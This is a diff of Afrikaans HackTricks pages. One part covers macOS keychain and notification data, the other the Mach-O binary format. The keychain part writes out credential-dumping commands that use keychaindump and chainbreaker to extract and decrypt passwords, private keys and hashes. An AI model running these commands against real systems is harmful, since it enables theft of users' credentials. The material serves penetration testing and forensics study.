'n Alternatiewe een-liner wat geloofsbriewe van alle nie-diensrekeninge in hashcat-formaat sal dump `-m 7100` (macOS PBKDF2-SHA512):
{% code overflow="wrap" %}
```bash
@ -56,9 +57,9 @@ Gebaseer op hierdie kommentaar [juuso/keychaindump#10 (comment)](https://github.
### Sleutelkettingdump Oorsig
'n Gereedskap genaamd **keychaindump** is ontwikkel om wagwoorde uit macOS-sleutelkettings te onttrek, maar dit het beperkings op nuwer macOS-weergawes soos Big Sur, soos aangedui in 'n [bespreking](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Die gebruik van **keychaindump** vereis dat die aanvaller toegang verkry en voorregte na **root** eskaleer. Die gereedskap maak gebruik van die feit dat die sleutelketting standaard oopgemaak word by gebruikersaanmelding vir gerief, wat toepassings in staat stel om dit te benader sonder om die gebruiker se wagwoord herhaaldelik te vereis. As 'n gebruiker egter kies om hul sleutelketting na elke gebruik te sluit, word **keychaindump** ondoeltreffend.
'n Gereedskap genaamd **keychaindump** is ontwikkel om wagwoorde uit macOS-sleutelkettings te onttrek, maar dit ondervind beperkings op nuwer macOS-weergawes soos Big Sur, soos aangedui in 'n [bespreking](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Die gebruik van **keychaindump** vereis dat die aanvaller toegang verkry en voorregte na **root** eskaleer. Die gereedskap maak gebruik van die feit dat die sleutelketting standaard oopgemaak word by gebruikersaanmelding vir gerief, wat toepassings in staat stel om dit te benader sonder om die gebruiker se wagwoord herhaaldelik te vereis. Tog, as 'n gebruiker kies om hul sleutelketting na elke gebruik te sluit, word **keychaindump** ondoeltreffend.
**Keychaindump** werk deur 'n spesifieke proses genaamd **securityd** te teiken, soos deur Apple beskryf as 'n daemon vir magtiging en kriptografiese operasies, wat noodsaaklik is vir die benadering van die sleutelketting. Die onttrekkingsproses behels die identifisering van 'n **Meester Sleutel** wat afgelei is van die gebruiker se aanmeldingswagwoord. Hierdie sleutel is noodsaaklik vir die lees van die sleutelketting lêer. Om die **Meester Sleutel** te vind, skandeer **keychaindump** die geheuehoop van **securityd** deur die `vmmap` bevel te gebruik, op soek na potensiële sleutels binne areas wat as `MALLOC_TINY` geïdentifiseer is. Die volgende bevel word gebruik om hierdie geheue-areas te ondersoek:
**Keychaindump** werk deur 'n spesifieke proses genaamd **securityd** te teiken, soos deur Apple beskryf as 'n daemon vir magtiging en kriptografiese operasies, wat noodsaaklik is vir die benadering van die sleutelketting. Die onttrekkingsproses behels die identifisering van 'n **Meestersleutel** afgelei van die gebruiker se aanmeldwagwoord. Hierdie sleutel is noodsaaklik vir die lees van die sleutelketting lêer. Om die **Meestersleutel** te vind, skandeer **keychaindump** die geheuehoop van **securityd** deur die `vmmap` bevel te gebruik, op soek na potensiële sleutels binne areas wat as `MALLOC_TINY` geïdentifiseer is. Die volgende bevel word gebruik om hierdie geheue-areas te ondersoek:
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
@ -68,18 +69,18 @@ sudo ./keychaindump
```
### kettingbreek
[**Kettingbreek**](https://github.com/n0fate/chainbreaker) kan gebruik word om die volgende tipes inligting op 'n OSX-sleutelbord op 'n forensies-klank manier te onttrek:
[**Kettingbreek**](https://github.com/n0fate/chainbreaker) kan gebruik word om die volgende tipes inligting uit 'n OSX-sleutelbord op 'n forensies-klank manier te onttrek:
* Gehashde Sleutelbord wagwoord, geskik vir kraak met [hashcat](https://hashcat.net/hashcat/) of [John the Ripper](https://www.openwall.com/john/)
* Internetwagwoorde
* Gehashte Sleutelbord wagwoord, geskik vir kraak met [hashcat](https://hashcat.net/hashcat/) of [John the Ripper](https://www.openwall.com/john/)
* Internet Wagwoorde
* Generiese Wagwoorde
* Privaatsleutels
* Openbare Sleutels
* X509-sertifikate
* X509 Sertifikate
* Veilige Notas
* Appleshare Wagwoorde
Met die sleutelbordontgrendelwagwoord, 'n meestersleutel verkry deur [volafox](https://github.com/n0fate/volafox) of [volatility](https://github.com/volatilityfoundation/volatility), of 'n ontgrendelingslêer soos SystemKey, sal Kettingbreek ook platte teks wagwoorde voorsien.
Met die sleutelbord ontgrendel wagwoord, 'n meestersleutel verkry deur [volafox](https://github.com/n0fate/volafox) of [volatility](https://github.com/volatilityfoundation/volatility), of 'n ontgrendelingslêer soos SystemKey, sal Kettingbreek ook platte teks wagwoorde voorsien.
Sonner een van hierdie metodes om die Sleutelbord te ontsluit, sal Kettingbreek alle ander beskikbare inligting vertoon.
@ -88,7 +89,7 @@ Sonner een van hierdie metodes om die Sleutelbord te ontsluit, sal Kettingbreek
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
```
#### **Stort sleutelbundel sleutels (met wagwoorde) met SystemKey**
#### **Stort sleutelhanger sleutels (met wagwoorde) met SystemKey**
```bash
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
@ -118,7 +119,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
```
#### **Dump sleutelbos sleutels (met wagwoorde) deur die gebruikers wagwoord te gebruik**
As jy die gebruikers wagwoord ken, kan jy dit gebruik om **sleutelbose wat aan die gebruiker behoort te dump en te dekripteer**.
As jy die gebruikers wagwoord weet, kan jy dit gebruik om **sleutelbose wat aan die gebruiker behoort te dump en te dekripteer**.
```bash
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
@ -144,7 +145,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Jy kan die Kennisgewingsdata vind in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
Die meeste van die interessante inligting sal in die **blob** wees. Jy sal dus die inhoud moet **ontgin** en dit na **mensleesbare** formaat moet **omskep** of **`strings`** gebruik. Om toegang daartoe te kry, kan jy doen:
Die meeste van die interessante inligting sal in die **blob** wees. Jy sal dus die inhoud moet **ontgin** en dit na **mensleesbare** vorm **transformeer** of **`strings`** gebruik. Om toegang daartoe te verkry, kan jy die volgende doen:
{% code overflow="wrap" %}
```bash
@ -170,17 +171,17 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
In macOS-toepassingsvoorkeure is geleë in **`$HOME/Library/Preferences`** en in iOS is hulle in `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.&#x20;
In macOS kan die opdraggereelwerktuig **`defaults`** gebruik word om die Voorkeure-lêer te **wijzig**.
In macOS kan die `defaults`-cli-hulpmiddel gebruik word om die Voorkeure-lêer te wysig.
**`/usr/sbin/cfprefsd`** eis die XPC-diens `com.apple.cfprefsd.daemon` en `com.apple.cfprefsd.agent` op en kan geroep word om aksies soos die wysiging van voorkeure uit te voer.
**`/usr/sbin/cfprefsd`** eis die XPC-diens `com.apple.cfprefsd.daemon` en `com.apple.cfprefsd.agent` en kan genoem word om aksies soos die wysiging van voorkeure uit te voer.
## Stelselkennisgewings
### Darwin Kennisgewings
Die hoofdaemon vir kennisgewings is **`/usr/sbin/notifyd`**. Om kennisgewings te ontvang, moet kliënte registreer deur die `com.apple.system.notification_center` Mach-poort (kontroleer hulle met `sudo lsmp -p <pid notifyd>`). Die daemon is konfigureerbaar met die lêer `/etc/notify.conf`.
Die hoofdemon vir kennisgewings is **`/usr/sbin/notifyd`**. Om kennisgewings te ontvang, moet kliënte registreer deur die `com.apple.system.notification_center` Mach-poort (kontroleer hulle met `sudo lsmp -p <pid notifyd>`). Die demon is konfigureerbaar met die lêer `/etc/notify.conf`.
Die name wat vir kennisgewings gebruik word, is unieke omgekeerde DNS-notasies en wanneer 'n kennisgewing na een van hulle gestuur word, sal die kliënt(e) wat aangedui het dat hulle dit kan hanteer, dit ontvang.
Die name wat vir kennisgewings gebruik word, is unieke omgekeerde DNS-notasies en wanneer 'n kennisgewing na een van hulle gestuur word, sal die kliënte wat aangedui het dat hulle dit kan hanteer, dit ontvang.
Dit is moontlik om die huidige status te dump (en al die name te sien) deur die sein SIGUSR2 na die notifyd-proses te stuur en die gegenereerde lêer te lees: `/var/run/notifyd_<pid>.status`:
```bash
@ -221,6 +222,6 @@ Dit is ook moontlik om inligting oor die duiwel en verbindings te kry deur die v
Dit is kennisgewings wat die gebruiker op die skerm moet sien:
- **`CFUserNotification`**: Hierdie API bied 'n manier om 'n pop-up met 'n boodskap op die skerm te wys.
- **Die Bulletinbord**: Dit wys in iOS 'n banier wat verdwyn en in die Kennisgewingsentrum gestoor sal word.
- **`NSUserNotificationCenter`**: Dit is die iOS-bulletinbord in MacOS. Die databasis met die kennisgewings is geleë in `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
* **`CFUserNotification`**: Hierdie API bied 'n manier om 'n pop-up met 'n boodskap op die skerm te wys.
* **Die Bulletinbord**: Dit wys in iOS 'n banier wat verdwyn en in die Kennisgewingsentrum gestoor sal word.
* **`NSUserNotificationCenter`**: Dit is die iOS-bulletinbord in MacOS. Die databasis met die kennisgewings is geleë in `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`

View file

@ -1,18 +1,19 @@
# macOS Universele bineêre & Mach-O-formaat
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -39,9 +40,9 @@ struct fat_header {
</strong>};
struct fat_arch {
cpu_type_t cputype; /* cpu-aanwyser (int) */
cpu_subtype_t cpusubtype; /* masjien-aanwyser (int) */
uint32_t offset; /* lêeroffset na hierdie objeklêer */
cpu_type_t cputype; /* cpu spesifiseerder (int) */
cpu_subtype_t cpusubtype; /* masjien spesifiseerder (int) */
uint32_t offset; /* lêer-offset na hierdie objeklêer */
uint32_t size; /* grootte van hierdie objeklêer */
uint32_t align; /* uitlyn as 'n mag van 2 */
};
@ -80,11 +81,11 @@ of deur die [Mach-O View](https://sourceforge.net/projects/machoview/) gereedska
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
Soos jy dalk dink, verdubbel 'n universele bineêre wat vir 2 argitekture saamgestel is, gewoonlik die grootte van een wat net vir 1 argitektuur saamgestel is.
Soos jy dalk dink, verdubbel 'n universele bineêre wat vir 2 argitekture saamgestel is die grootte van een wat net vir 1 argitektuur saamgestel is.
## **Mach-O Kop**
Die kop bevat basiese inligting oor die lêer, soos magic bytes om dit as 'n Mach-O-lêer te identifiseer en inligting oor die teikenargitektuur. Jy kan dit vind in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
Die kop bevat basiese inligting oor die lêer, soos die magiese byte om dit as 'n Mach-O-lêer te identifiseer en inligting oor die teikenargitektuur. Jy kan dit vind in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -117,8 +118,8 @@ Daar is verskillende lêertipes, jy kan hulle gedefinieer vind in die [**bronkod
- `MH_OBJECT`: Herplaasbare objeklêer (tussenproduk van samestelling, nog nie uitvoerbare lêers nie).
- `MH_EXECUTE`: Uitvoerbare lêers.
- `MH_FVMLIB`: Vas VM-biblioteeklêer.
- `MH_CORE`: Kode-aflewerings
- `MH_FVMLIB`: Vasgehegte VM-biblioteeklêer.
- `MH_CORE`: Kode-afsettings
- `MH_PRELOAD`: Voorafgelaai uitvoerbare lêer (nie meer ondersteun in XNU nie)
- `MH_DYLIB`: Dinamiese Biblioteke
- `MH_DYLINKER`: Dinamiese Skakelaar
@ -132,7 +133,7 @@ Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE
```
Of gebruik [Mach-O View](https://sourceforge.net/projects/machoview/):
Of deur [Mach-O View](https://sourceforge.net/projects/machoview/) te gebruik:
<figure><img src="../../../.gitbook/assets/image (1133).png" alt=""><figcaption></figcaption></figure>
@ -142,7 +143,7 @@ Die bronkode definieer ook verskeie vlae wat nuttig is vir die laai van bibliote
* `MH_NOUNDEFS`: Geen ongedefinieerde verwysings (volledig gekoppel)
* `MH_DYLDLINK`: Dyld koppeling
* `MH_PREBOUND`: Dinamiese verwysings prebound.
* `MH_PREBOUND`: Dinamiese verwysings vooraf gebind.
* `MH_SPLIT_SEGS`: Lêer verdeel r/o en r/w segmente.
* `MH_WEAK_DEFINES`: Binêre het swak gedefinieerde simbole
* `MH_BINDS_TO_WEAK`: Binêre gebruik swak simbole
@ -150,14 +151,14 @@ Die bronkode definieer ook verskeie vlae wat nuttig is vir die laai van bibliote
* `MH_NO_REEXPORTED_DYLIBS`: Biblioteek nie LC\_REEXPORT-opdragte nie
* `MH_PIE`: Posisioneel Onafhanklike Uitvoerbare lêer
* `MH_HAS_TLV_DESCRIPTORS`: Daar is 'n afdeling met draadlokale veranderlikes
* `MH_NO_HEAP_EXECUTION`: Geen uitvoering vir hoop/data-bladsye
* `MH_NO_HEAP_EXECUTION`: Geen uitvoering vir heap/data-bladsye
* `MH_HAS_OBJC`: Binêre het oBject-C afdelings
* `MH_SIM_SUPPORT`: Simulator-ondersteuning
* `MH_DYLIB_IN_CACHE`: Gebruik op dylibs/frameworks in gedeelde biblioteekkas.
## **Mach-O Laai-opdragte**
Die **lêer se uitleg in geheue** word hier gespesifiseer, met inligting oor die **simbooltabel se ligging**, die konteks van die hoofdraad by uitvoerbegin, en die vereiste **gedeelde biblioteke**. Instruksies word verskaf aan die dinamiese laaier **(dyld)** oor die binêre se laaiproses in geheue.
Die **lêer se uitleg in geheue** word hier gespesifiseer, met inligting oor die **simbooltabel se ligging**, die konteks van die hoofdraad by uitvoerbegin, en die vereiste **gedeelde biblioteke**. Instruksies word aan die dinamiese laaier **(dyld)** verskaf oor die binêre se laaiproses in geheue.
Dit maak gebruik van die **load\_command** struktuur, gedefinieer in die genoemde **`loader.h`**:
```objectivec
@ -171,14 +172,14 @@ Daar is ongeveer **50 verskillende tipes laai-opdragte** wat die stelsel anders
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
Basies definieer hierdie tipe Laai-opdrag **hoe om die \_\_TEXT** (uitvoerbare kode) **en \_\_DATA** (data vir die proses) **segmente te laai** volgens die **offsets aangedui in die Data-afdeling** wanneer die binêre lêer uitgevoer word.
Basies definieer hierdie tipe Laai-opdrag **hoe om die \_\_TEXT** (uitvoerbare kode) **en \_\_DATA** (data vir die proses) **segmente te laai** volgens die **offsets aangedui in die Data-seksie** wanneer die binêre lêer uitgevoer word.
{% endhint %}
Hierdie opdragte **definieer segmente** wat in die **virtuele geheue-ruimte** van 'n proses ingevoeg word wanneer dit uitgevoer word.
Daar is **verskillende tipes** segmente, soos die **\_\_TEXT** segment, wat die uitvoerbare kode van 'n program bevat, en die **\_\_DATA** segment, wat data bevat wat deur die proses gebruik word. Hierdie **segmente is geleë in die data-afdeling** van die Mach-O lêer.
Daar is **verskillende tipes** segmente, soos die **\_\_TEXT** segment, wat die uitvoerbare kode van 'n program bevat, en die **\_\_DATA** segment, wat data bevat wat deur die proses gebruik word. Hierdie **segmente is geleë in die data-seksie** van die Mach-O lêer.
**Elke segment** kan verder verdeel word in verskeie **afdelings**. Die **laai-opdragstruktuur** bevat **inligting** oor **hierdie afdelings** binne die betrokke segment.
**Elke segment** kan verder verdeel word in verskeie **seksies**. Die **laai-opdragstruktuur** bevat **inligting** oor **hierdie seksies** binne die betrokke segment.
In die kop vind jy die **segmentkop**:
@ -192,7 +193,7 @@ uint64_t fileoff; /* lêer-offset van hierdie segment */
uint64_t filesize; /* hoeveelheid om van die lêer af te beeld */
int32_t maxprot; /* maksimum VM-beskerming */
int32_t initprot; /* aanvanklike VM-beskerming */
<strong> uint32_t nsects; /* aantal afdelings in segment */
<strong> uint32_t nsects; /* aantal seksies in segment */
</strong> uint32_t flags; /* vlae */
};
</code></pre>
@ -201,7 +202,7 @@ Voorbeeld van segmentkop:
<figure><img src="../../../.gitbook/assets/image (1126).png" alt=""><figcaption></figcaption></figure>
Hierdie kop definieer die **aantal afdelings waarvan die koppe daarna verskyn**:
Hierdie kop definieer die **aantal seksies waarvan die koppe daarna verskyn**:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -218,11 +219,11 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
```
Voorbeeld van **seksie kop**:
Voorbeeld van **seksie-kop**:
<figure><img src="../../../.gitbook/assets/image (1108).png" alt=""><figcaption></figcaption></figure>
As jy die **seksie offset** (0x37DC) + die **offset** waar die **arg begin**, in hierdie geval `0x18000` bymekaar **tel**, --> `0x37DC + 0x18000 = 0x1B7DC`
As jy die **seksie-offset** (0x37DC) + die **offset** waar die **arg begin**, in hierdie geval `0x18000` byvoeg --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (701).png" alt=""><figcaption></figcaption></figure>
@ -233,25 +234,25 @@ otool -lv /bin/ls
Gemeenskaplike segmente wat deur hierdie cmd gelaai word:
* **`__PAGEZERO`:** Dit instrueer die kernel om die **adres nul** te **kaart** sodat dit **nie gelees, geskryf of uitgevoer kan word nie**. Die maxprot en minprot veranderlikes in die struktuur word na nul ingestel om aan te dui dat daar **geen lees-skuif-uitvoer regte op hierdie bladsy** is nie.
* Hierdie toewysing is belangrik om **NULL-aanwyservolgordekwesbaarhede te versag**. Dit is omdat XNU 'n harde bladsy nul afdwing wat verseker dat die eerste bladsy (slegs die eerste) van geheue ontoeganklik is (behalwe in i386). 'n Binêre kan aan hierdie vereistes voldoen deur 'n klein \_\_PAGEZERO (deur die `-pagezero_size` te gebruik) te skep om die eerste 4k te dek en die res van die 32-bis geheue toeganklik te hê in beide gebruiker- en kernmodus.
* Hierdie toewysing is belangrik om **NULL-aanwyservulnerabiliteite te verminder**. Dit is omdat XNU 'n harde bladsy nul afdwing wat verseker dat die eerste bladsy (slegs die eerste) van geheue onbereikbaar is (behalwe in i386). 'n Binêre kan aan hierdie vereistes voldoen deur 'n klein \_\_PAGEZERO (met die `-pagezero_size`) te skep om die eerste 4k te dek en die res van die 32-bis geheue toeganklik te hê in beide gebruiker- en kernelmodus.
* **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** regte (nie skryfbare)**.** Gewone afdelings van hierdie segment:
* `__text`: Opgestelde binêre kode
* `__const`: Konstante data (slegs leesbaar)
* `__[c/u/os_log]string`: C, Unicode of os-logstringkonstantes
* `__[c/u/os_log]string`: C, Unicode of os-logstring konstantes
* `__stubs` en `__stubs_helper`: Betrokke tydens die dinamiese biblioteeklaaiproses
* `__unwind_info`: Stok ontwar data.
* Let daarop dat al hierdie inhoud onderteken is maar ook as uitvoerbaar gemerk is (wat meer opsies skep vir uitbuiting van afdelings wat nie noodwendig hierdie voorreg nodig het nie, soos string-toegewyde afdelings).
* Let daarop dat al hierdie inhoud onderteken is maar ook as uitvoerbaar gemerk is (skep meer opsies vir uitbuiting van afdelings wat nie noodwendig hierdie voorreg nodig het nie, soos string-toegewyde afdelings).
* **`__DATA`**: Bevat data wat **leesbaar** en **skryfbaar** is (nie uitvoerbaar)**.**
* `__got:` Globale Verskuiwingstabel
* `__nl_symbol_ptr`: Nie lui (bind by laai) simboolaanduider
* `__la_symbol_ptr`: Lui (bind by gebruik) simboolaanduider
* `__const`: Behoort aan lees-slegs data (nie regtig)
* `__cfstring`: CoreFoundation-strings
* `__const`: Behoort lees-slegs data te wees (nie regtig)
* `__cfstring`: CoreFoundation strings
* `__data`: Globale veranderlikes (wat geïnisialiseer is)
* `__bss`: Statiese veranderlikes (wat nie geïnisialiseer is nie)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ens.): Inligting wat deur die Objective-C-uitvoertyd gebruik word
* **`__DATA_CONST`**: \_\_DATA.\_\_const is nie gewaarborg om konstant te wees (skryfregte nie), en ook nie ander aanwysers en die GOT nie. Hierdie afdeling maak `__const`, sommige inisialiseerders en die GOT-tabel (eenmaal opgelos) **leesbaar slegs** deur `mprotect` te gebruik.
* **`__LINKEDIT`**: Bevat inligting vir die koppelaar (dyld) soos simbool, string en herlokasie tabelleë. Dit is 'n generiese houer vir inhoud wat nie in `__TEXT` of `__DATA` is nie en die inhoud daarvan word in ander laai-opdragte beskryf.
* **`__LINKEDIT`**: Bevat inligting vir die koppelaar (dyld) soos simbool-, string- en herlokasie-tabelinskrywings. Dit is 'n generiese houer vir inhoud wat nie in `__TEXT` of `__DATA` is nie en sy inhoud word in ander laaibefehle beskryf.
* dyld-inligting: Herbasis, Nie-luie/lui/swak bindopkode en uitvoer inligting
* Funksies begin: Tabel van beginadresse van funksies
* Data In Kode: Data-eilande in \_\_text
@ -260,9 +261,9 @@ Gemeenskaplike segmente wat deur hierdie cmd gelaai word:
* Stringtabel
* Kodehandtekening
* **`__OBJC`**: Bevat inligting wat deur die Objective-C-uitvoertyd gebruik word. Alhoewel hierdie inligting ook in die \_\_DATA-segment gevind kan word, binne verskeie in \_\_objc\_\* afdelings.
* **`__RESTRICT`**: 'N segment sonder inhoud met 'n enkele afdeling genaamd **`__restrict`** (ook leeg) wat verseker dat wanneer die binêre lê, dit DYLD-omgewingsveranderlikes ignoreer.
* **`__RESTRICT`**: 'n Segment sonder inhoud met 'n enkele afdeling genaamd **`__restrict`** (ook leeg) wat verseker dat wanneer die binêre lopende is, dit DYLD-omgewingsveranderlikes ignoreer.
Soos in die kode gesien kon word, ondersteun **segmente ook vlae** (al word hulle nie baie gebruik nie):
Soos in die kode gesien kon word, **ondersteun segmente ook vlae** (al word hulle nie baie gebruik nie):
* `SG_HIGHVM`: Slegs kern (nie gebruik nie)
* `SG_FVMLIB`: Nie gebruik nie
@ -271,9 +272,9 @@ Soos in die kode gesien kon word, ondersteun **segmente ook vlae** (al word hull
### **`LC_UNIXTHREAD/LC_MAIN`**
**`LC_MAIN`** bevat die ingangspunt in die **entryoff-eienskap.** By laai-tyd **voeg dyld** eenvoudig hierdie waarde by die (in-geheue) **basis van die binêre**, spring dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
**`LC_MAIN`** bevat die ingangspunt in die **entryoff-eienskap.** Met laai-tyd voeg **dyld** eenvoudig hierdie waarde by die (in-geheue) **basis van die binêre**, spring dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
**`LC_UNIXTHREAD`** bevat die waardes wat die register moet hê wanneer die hoofdraad begin. Dit is reeds verouderd maar **`dyld`** gebruik dit nog steeds. Dit is moontlik om die waardes van die registers wat deur hierdie ingestel word, te sien met:
**`LC_UNIXTHREAD`** bevat die waardes wat die register moet hê wanneer die hoofdraad begin. Dit is reeds verouderd maar **`dyld`** gebruik dit nog steeds. Dit is moontlik om die waardes van die register wat deur hierdie ingestel is, te sien met:
```bash
otool -l /usr/lib/dyld
[...]
@ -300,11 +301,11 @@ cpsr 0x00000000
### **`LC_CODE_SIGNATURE`**
Bevat inligting oor die **kodesignatuur van die Macho-O-lêer**. Dit bevat slegs 'n **offset** wat na die **handtekeningblob** wys. Dit is tipies aan die einde van die lêer.\
Nietemin kan jy enige inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
Jy kan egter inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **`LC_ENCRYPTION_INFO[_64]`**
Ondersteuning vir binêre versleuteling. Indien 'n aanvaller egter die proses kan kompromitteer, sal hy die geheue onversleuteld kan aflaai.
Ondersteuning vir binêre versleuteling. Indien 'n aanvaller egter die proses kan kompromiteer, sal hy die geheue onversleuteld kan aflaai.
### **`LC_LOAD_DYLINKER`**
@ -312,11 +313,11 @@ Bevat die **pad na die dinamiese skakeluitvoerbare lêer** wat gedeelde bibliote
### **`LC_IDENT`**
Verouderd, maar wanneer dit ingestel is om damps by paniek te genereer, word 'n Mach-O-kern-damp geskep en word die kerwe-weergawe in die `LC_IDENT`-bevel ingestel.
Verouderd, maar wanneer dit ingestel is om damps by paniek te genereer, word 'n Mach-O-kern-damp geskep en die kernweergawe word in die `LC_IDENT`-bevel ingestel.
### **`LC_UUID`**
Willekeurige UUID. Dit is nuttig vir niks direk nie, maar XNU stoor dit saam met die res van die prosesinligting. Dit kan in botsingsverslae gebruik word.
Willekeurige UUID. Dit is nie direk nuttig vir enigiets nie, maar XNU stoor dit saam met die res van die prosesinligting. Dit kan in botsingsverslae gebruik word.
### **`LC_DYLD_ENVIRONMENT`**
@ -343,7 +344,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
```
![](<../../../.gitbook/assets/image (486).png>)
Jy kan ook hierdie inligting kry van die opdraggelynbalk met:
Jy kan ook hierdie inligting kry van die opdraggelynpunt met:
```bash
otool -L /bin/ls
/bin/ls:
@ -351,24 +352,23 @@ otool -L /bin/ls
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
```
```markdown
Sommige potensiële kwaadwillige biblioteke is:
Some potensiële kwaadwillige biblioteke is:
* **DiskArbitration**: Monitor USB-aandrywings
* **DiskArbitration**: Monitering van USB-aandrywings
* **AVFoundation:** Vang klank en video
* **CoreWLAN**: Wifi-skanderings.
{% hint style="info" %}
'n Mach-O binêre lêer kan een of **meer** **konstruksies** bevat, wat **uitgevoer sal word** **voor** die adres gespesifiseer in **LC\_MAIN**.\
Die offsette van enige konstruksies word gehou in die **\_\_mod\_init\_func** afdeling van die **\_\_DATA\_CONST** segment.
'n Mach-O binêre lêer kan een of **meer konstrukteurs** bevat, wat **uitgevoer sal word voor** die adres gespesifiseer in **LC\_MAIN**.\
Die offsette van enige konstrukteurs word gehou in die **\_\_mod\_init\_func** afdeling van die **\_\_DATA\_CONST** segment.
{% endhint %}
## **Mach-O Data**
In die kern van die lêer lê die data-gebied, wat bestaan uit verskeie segmente soos gedefinieer in die laai-opdragte-gebied. **'n Verskeidenheid data-afdelings kan binne elke segment gehuisves word**, met elke afdeling wat kode of data **spesifiek vir 'n tipe** bevat.
In die kern van die lêer lê die data-gebied, wat bestaan uit verskeie segmente soos gedefinieer in die laai-opdragte-gebied. **'n Verskeidenheid data-afdelings kan binne elke segment gehuisves word**, met elke afdeling wat kode of data bevat wat spesifiek is vir 'n tipe.
{% hint style="success" %}
Die data is basies die gedeelte wat al die **inligting** bevat wat deur die laai-opdragte **LC\_SEGMENTS\_64** gelaai word
Die data is basies die gedeelte wat al die **inligting** bevat wat deur die laai-opdragte **LC\_SEGMENTS\_64** gelaai word.
{% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
@ -379,33 +379,32 @@ Dit sluit in:
* **Simbooltabel**: Wat inligting oor die eksterne funksie bevat wat deur die binêre gebruik word
* Dit kan ook interne funksie, veranderlike name en meer bevat.
Om dit te kontroleer kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) gereedskap gebruik:
Om dit te kontroleer, kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) gereedskap gebruik:
<figure><img src="../../../.gitbook/assets/image (1120).png" alt=""><figcaption></figcaption></figure>
Of vanaf die opdraglyn:
```
```bash
size -m /bin/ls
```
## Objective-C Algemene Afdelings
In `__TEXT` segment (r-x):
In die `__TEXT` segment (r-x):
